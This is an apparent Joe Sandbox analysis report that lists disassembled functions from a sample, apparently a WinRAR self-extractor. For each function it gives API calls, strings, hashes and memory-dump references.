Instruction ID: b5d67db3c9cc7ad10a6100b86e76f933a3a207b793220b952d2f23ac1a34b888
Opcode Fuzzy Hash: 04fd13159df569d64b51cd06d0983ef767ebb0ac0915cf1973e19e77669f7868
Instruction Fuzzy Hash: 8731A171E04258AEDF11EBE49C45FEEBBBDAF85324F048015F805A72D2C7749A84CB61

Function 0091AD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00901316: GetDlgItem.USER32(00000000,00003021), ref: 0090135A
Part of subcall function 00901316: SetWindowTextW.USER32(00000000,009335F4), ref: 00901370

EndDialog.USER32(?,00000001), ref: 0091AD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0091ADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 0091ADC2

Strings

ASKNEXTVOL, xrefs: 0091AD28

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: ffcc18616b73378bcc8f5b06d7577ff27b5bee4a3f7d657cea66848d0cdcf017
Instruction ID: 2ce18fe26950140430847fb8c34a55de1f7de6c2e192dbd33a7185971345c029
Opcode Fuzzy Hash: ffcc18616b73378bcc8f5b06d7577ff27b5bee4a3f7d657cea66848d0cdcf017
Instruction Fuzzy Hash: AC11D336349604BFD3128F68EC45FEA37ADEB4B702F044408F241DB4E4C7A69D85A722

Function 0090D8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0090D954
_strncpy.LIBCMT ref: 0090D99A

Part of subcall function 00911DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00941030,00000200,0090D928,00000000,?,00000050,00941030), ref: 00911DC4

Strings

@%s, xrefs: 0090D93E
$%s, xrefs: 0090D949

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: a4c994f6bb421729233d2f03f407bf9dc28bfda51f5d4265b177995aabca8065
Instruction ID: 8a7e784fc9d11dd529896ee335e119d15b8454b1b7936b618ba03885e355d2da
Opcode Fuzzy Hash: a4c994f6bb421729233d2f03f407bf9dc28bfda51f5d4265b177995aabca8065
Instruction Fuzzy Hash: 3621AF7654224CAEEF20EEE8CC01FEE7BACAF45704F044422F920961E2E272D648CF51

Function 00910E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0090AC5A,00000008,?,00000000,?,0090D22D,?,00000000), ref: 00910E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0090AC5A,00000008,?,00000000,?,0090D22D,?,00000000), ref: 00910E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0090AC5A,00000008,?,00000000,?,0090D22D,?,00000000), ref: 00910E9F

Strings

Thread pool initialization failed., xrefs: 00910EB7

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: cd3b22e093cf50286d8bcb7402816e0d4072de7376cc41667865ee98da839c70
Instruction ID: 34e9e7a15a571a30709ed1a267bbd0e0e310dddbe5394bbf5bbbccf1ed862f2d
Opcode Fuzzy Hash: cd3b22e093cf50286d8bcb7402816e0d4072de7376cc41667865ee98da839c70
Instruction Fuzzy Hash: 23118FB16447089FD3215F669C84AA7FBECEB94744F14482EE1DAC2200D6B259809B50

Function 0091B270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00901316: GetDlgItem.USER32(00000000,00003021), ref: 0090135A
Part of subcall function 00901316: SetWindowTextW.USER32(00000000,009335F4), ref: 00901370

EndDialog.USER32(?,00000001), ref: 0091B2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0091B2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 0091B304

Strings

GETPASSWORD1, xrefs: 0091B289

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: dbb5520a21ceadd10355f5e2302cceddbe97951e68e37e1f35e86f6db82faec2
Instruction ID: e38c8d37bf77623aad189ec1c6176138a60fa39ee49c42a830bc18c86ac1f928
Opcode Fuzzy Hash: dbb5520a21ceadd10355f5e2302cceddbe97951e68e37e1f35e86f6db82faec2
Instruction Fuzzy Hash: 52110432A0411CBADB219A649D59FFF376DEF5A700F000824FA55F20C0C7B5AA999761

Function 0091DCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 0091DD31
REPLACEFILEDLG, xrefs: 0091DD1C, 0091DD50

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 5a0e62c3f88a3bcd51f0295ac68681d6c6e841c9b6297dcb1d270daebcf4717c
Instruction ID: 9357014f0315ad1a546bd528a7359bcc088f9c306de4fb73fb3a4c6b47a2b804
Opcode Fuzzy Hash: 5a0e62c3f88a3bcd51f0295ac68681d6c6e841c9b6297dcb1d270daebcf4717c
Instruction Fuzzy Hash: ED019E7EB29249AFC7219F54FC04DDB3BA9E74A354B00042AF905926B0C6319890FBA0

Function 00929A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00929AA9
__alldvrm.LIBCMT ref: 00929CAA
__alldvrm.LIBCMT ref: 00929CCC

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction ID: da5d6ec90517256279edded407c6ab9aa6211546402c608a1452c258b27257b3
Opcode Fuzzy Hash: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction Fuzzy Hash: ACA15A72E043A69FEB25CF28E8917AEBBE9EF55310F18456DE4899B385C3388D41C750

Function 0090A354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00907F69,?,?,?), ref: 0090A3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00907F69,?), ref: 0090A43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00907F69,?,?,?,?,?,?,?), ref: 0090A4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00907F69,?,?,?,?,?,?,?,?,?,?), ref: 0090A4C6

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 51cf432c8e865de9edd32d1f2285efd0d112abb8f259272d0d7a84534a4cebc9
Instruction ID: 896f4d09d3fb08dfc6b2ddd32ac6f5625a31f269888b5021e982bee4f455b38e
Opcode Fuzzy Hash: 51cf432c8e865de9edd32d1f2285efd0d112abb8f259272d0d7a84534a4cebc9
Instruction Fuzzy Hash: 87418C31288381AEE721DF24DC45BEEBBE8AB85700F044919B6E1D71D1D6A49A489B93

Function 00901100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0090112B
_wcslen.LIBCMT ref: 00901153
_wcslen.LIBCMT ref: 00901182
_wcslen.LIBCMT ref: 009011A9

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 9fa8675f0ca0d430c6867806173b48de0a7fd3416e6cfc1727dcedf91f568b8c
Instruction ID: cc6a6c14aa35f8e6437033f3545691e119b7286eaca48a1838d2b5dda3d07a5e
Opcode Fuzzy Hash: 9fa8675f0ca0d430c6867806173b48de0a7fd3416e6cfc1727dcedf91f568b8c
Instruction Fuzzy Hash: 7041C771A006699FCB259F688C05AEF7BBCEF41310F004119FD45F7245DB74AE998BA4

Function 0092C988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,009291E0,?,00000000,?,00000001,?,?,00000001,009291E0,?), ref: 0092C9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0092CA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00926CBE,?), ref: 0092CA70
__freea.LIBCMT ref: 0092CA79

Part of subcall function 00928E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0092CA2C,00000000,?,00926CBE,?,00000008,?,009291E0,?,?,?), ref: 00928E38

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: b6eeb14661248b5c55fe1fbcdf2ec818ac179152cdcb5a5b17634dad50f7c87e
Instruction ID: b2ea827b7812cf799655839692fe563ca7d3aa76354c98b7b61f1b865cb9f660
Opcode Fuzzy Hash: b6eeb14661248b5c55fe1fbcdf2ec818ac179152cdcb5a5b17634dad50f7c87e
Instruction Fuzzy Hash: EE31B0B2A1022AABDF24DF64EC51EBE7BA9EF41710B044268FC04E7254E735DD54DB90

Function 0091A663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0091A666
GetDeviceCaps.GDI32(00000000,00000058), ref: 0091A675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0091A683
ReleaseDC.USER32(00000000,00000000), ref: 0091A691

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 607634bbb8f49ba6cbd8bab95c531d1dfafda2404a83de7d5cdd7296bfdd92da
Instruction ID: e27e4c2e15a8ba7049291364030d09d0c1c078718807e8ad9c1834eed021eb94
Opcode Fuzzy Hash: 607634bbb8f49ba6cbd8bab95c531d1dfafda2404a83de7d5cdd7296bfdd92da
Instruction Fuzzy Hash: 3BE01231E6A721FBD3615B61BC0DFDF3E58AB06B52F018109FA05961E0DBB486089BA1

Function 0091A80C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 0091A699: GetDC.USER32(00000000), ref: 0091A69D
Part of subcall function 0091A699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0091A6A8
Part of subcall function 0091A699: ReleaseDC.USER32(00000000,00000000), ref: 0091A6B3

GetObjectW.GDI32(?,00000018,?), ref: 0091A83C

Part of subcall function 0091AAC9: GetDC.USER32(00000000), ref: 0091AAD2
Part of subcall function 0091AAC9: GetObjectW.GDI32(?,00000018,?), ref: 0091AB01
Part of subcall function 0091AAC9: ReleaseDC.USER32(00000000,?), ref: 0091AB99

Strings

(, xrefs: 0091A9AA

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: bbcb553b2f351a82e26744d8ce6814d0d096c90b9bdbbffca6cc063944e9deaa
Instruction ID: 58376559f0c0c04280ce00d2439ef255e46bc0d199267e8a3205881502cd6d00
Opcode Fuzzy Hash: bbcb553b2f351a82e26744d8ce6814d0d096c90b9bdbbffca6cc063944e9deaa
Instruction Fuzzy Hash: 4D91FE71608344AFD610DF25C844A6BBBE9FFC9711F00895EF99AD3220DB70A946DF62

Function 009075DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009075E3

Part of subcall function 009105DA: _wcslen.LIBCMT ref: 009105E0

Part of subcall function 0090A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0090A598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0090777F

Part of subcall function 0090A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0090A325,?,?,?,0090A175,?,00000001,00000000,?,?), ref: 0090A501
Part of subcall function 0090A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0090A325,?,?,?,0090A175,?,00000001,00000000,?,?), ref: 0090A532

Strings

:, xrefs: 00907654

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: c9b939617b49323fa517d84249a4689161cd83683b6eccc45821c3e989a6ce1d
Instruction ID: 6430f2a18d9289a7113216d6354054cbb3ea45ca630aad192a9857099d62fe40
Opcode Fuzzy Hash: c9b939617b49323fa517d84249a4689161cd83683b6eccc45821c3e989a6ce1d
Instruction Fuzzy Hash: 72416071901258ADEB25EB64CC55FEEB37DAF81340F004096B60AA60D2DB746F85CF71

Function 0091B48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0091B4E3
_wcslen.LIBCMT ref: 0091B4FE

Strings

}, xrefs: 0091B4D6

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: bb2c840937f83caa2a04629b0e68ff39dc8175150497ed57dd4c6b9776069426
Instruction ID: 665460d82057bd5f236428de04308903e32db7f9db9deabcabc23e53bd14e79d
Opcode Fuzzy Hash: bb2c840937f83caa2a04629b0e68ff39dc8175150497ed57dd4c6b9776069426
Instruction Fuzzy Hash: 5921DE72B0431E5AD731EB64E845FAAB3EEDF91754F04042AF680C3145EB78DD8883A2

Function 0090F344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0090F2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0090F2E4
Part of subcall function 0090F2C5: GetProcAddress.KERNEL32(009481C8,CryptUnprotectMemory), ref: 0090F2F4

GetCurrentProcessId.KERNEL32(?,?,?,0090F33E), ref: 0090F3D2

Strings

CryptUnprotectMemory failed, xrefs: 0090F3CA
CryptProtectMemory failed, xrefs: 0090F389

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: c33574f99e93d642a71e072b7bec51d6e444faee43bc6379a1f848bb2a8acb76
Instruction ID: 24c42a74c5cd9d9ad77acbe706d87a1f356524226f95bafbddefbccc5a343cf3
Opcode Fuzzy Hash: c33574f99e93d642a71e072b7bec51d6e444faee43bc6379a1f848bb2a8acb76
Instruction Fuzzy Hash: E8112931604225AFDF35AF20DC55A6F3758FF447B0B048166FC415B6D1DB349F419A90

Function 0090B991 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0090B9B8

Part of subcall function 00904092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 009040A5

Strings

%c:\, xrefs: 0090B9AE

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: 8eb33bd7d99ca8158603faae6ad882106de25ab3d28944bd70b493200e7f6889
Instruction ID: bb7bf111905ea3a7f516119b9601dcc92e47c08121c5a577a11a0899800561dc
Opcode Fuzzy Hash: 8eb33bd7d99ca8158603faae6ad882106de25ab3d28944bd70b493200e7f6889
Instruction Fuzzy Hash: 9801F563600322BDDA30AB359C86E6BA7ECEED6770B40880AF554D60C2EB24D844C2B1

Function 0091101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00911160,?,00000000,00000000), ref: 00911043
SetThreadPriority.KERNEL32(?,00000000), ref: 0091108A

Part of subcall function 00906C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00906C54

Strings

CreateThread failed, xrefs: 0091104F

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 4645adf7adaa34429fdffe8e202a077ebc8853c6d40a810ff415951fe47003d0
Instruction ID: 3c82654a8a40b5d571e321cf04fc1dc8b88055a6e7330a8424c57027400e9963
Opcode Fuzzy Hash: 4645adf7adaa34429fdffe8e202a077ebc8853c6d40a810ff415951fe47003d0
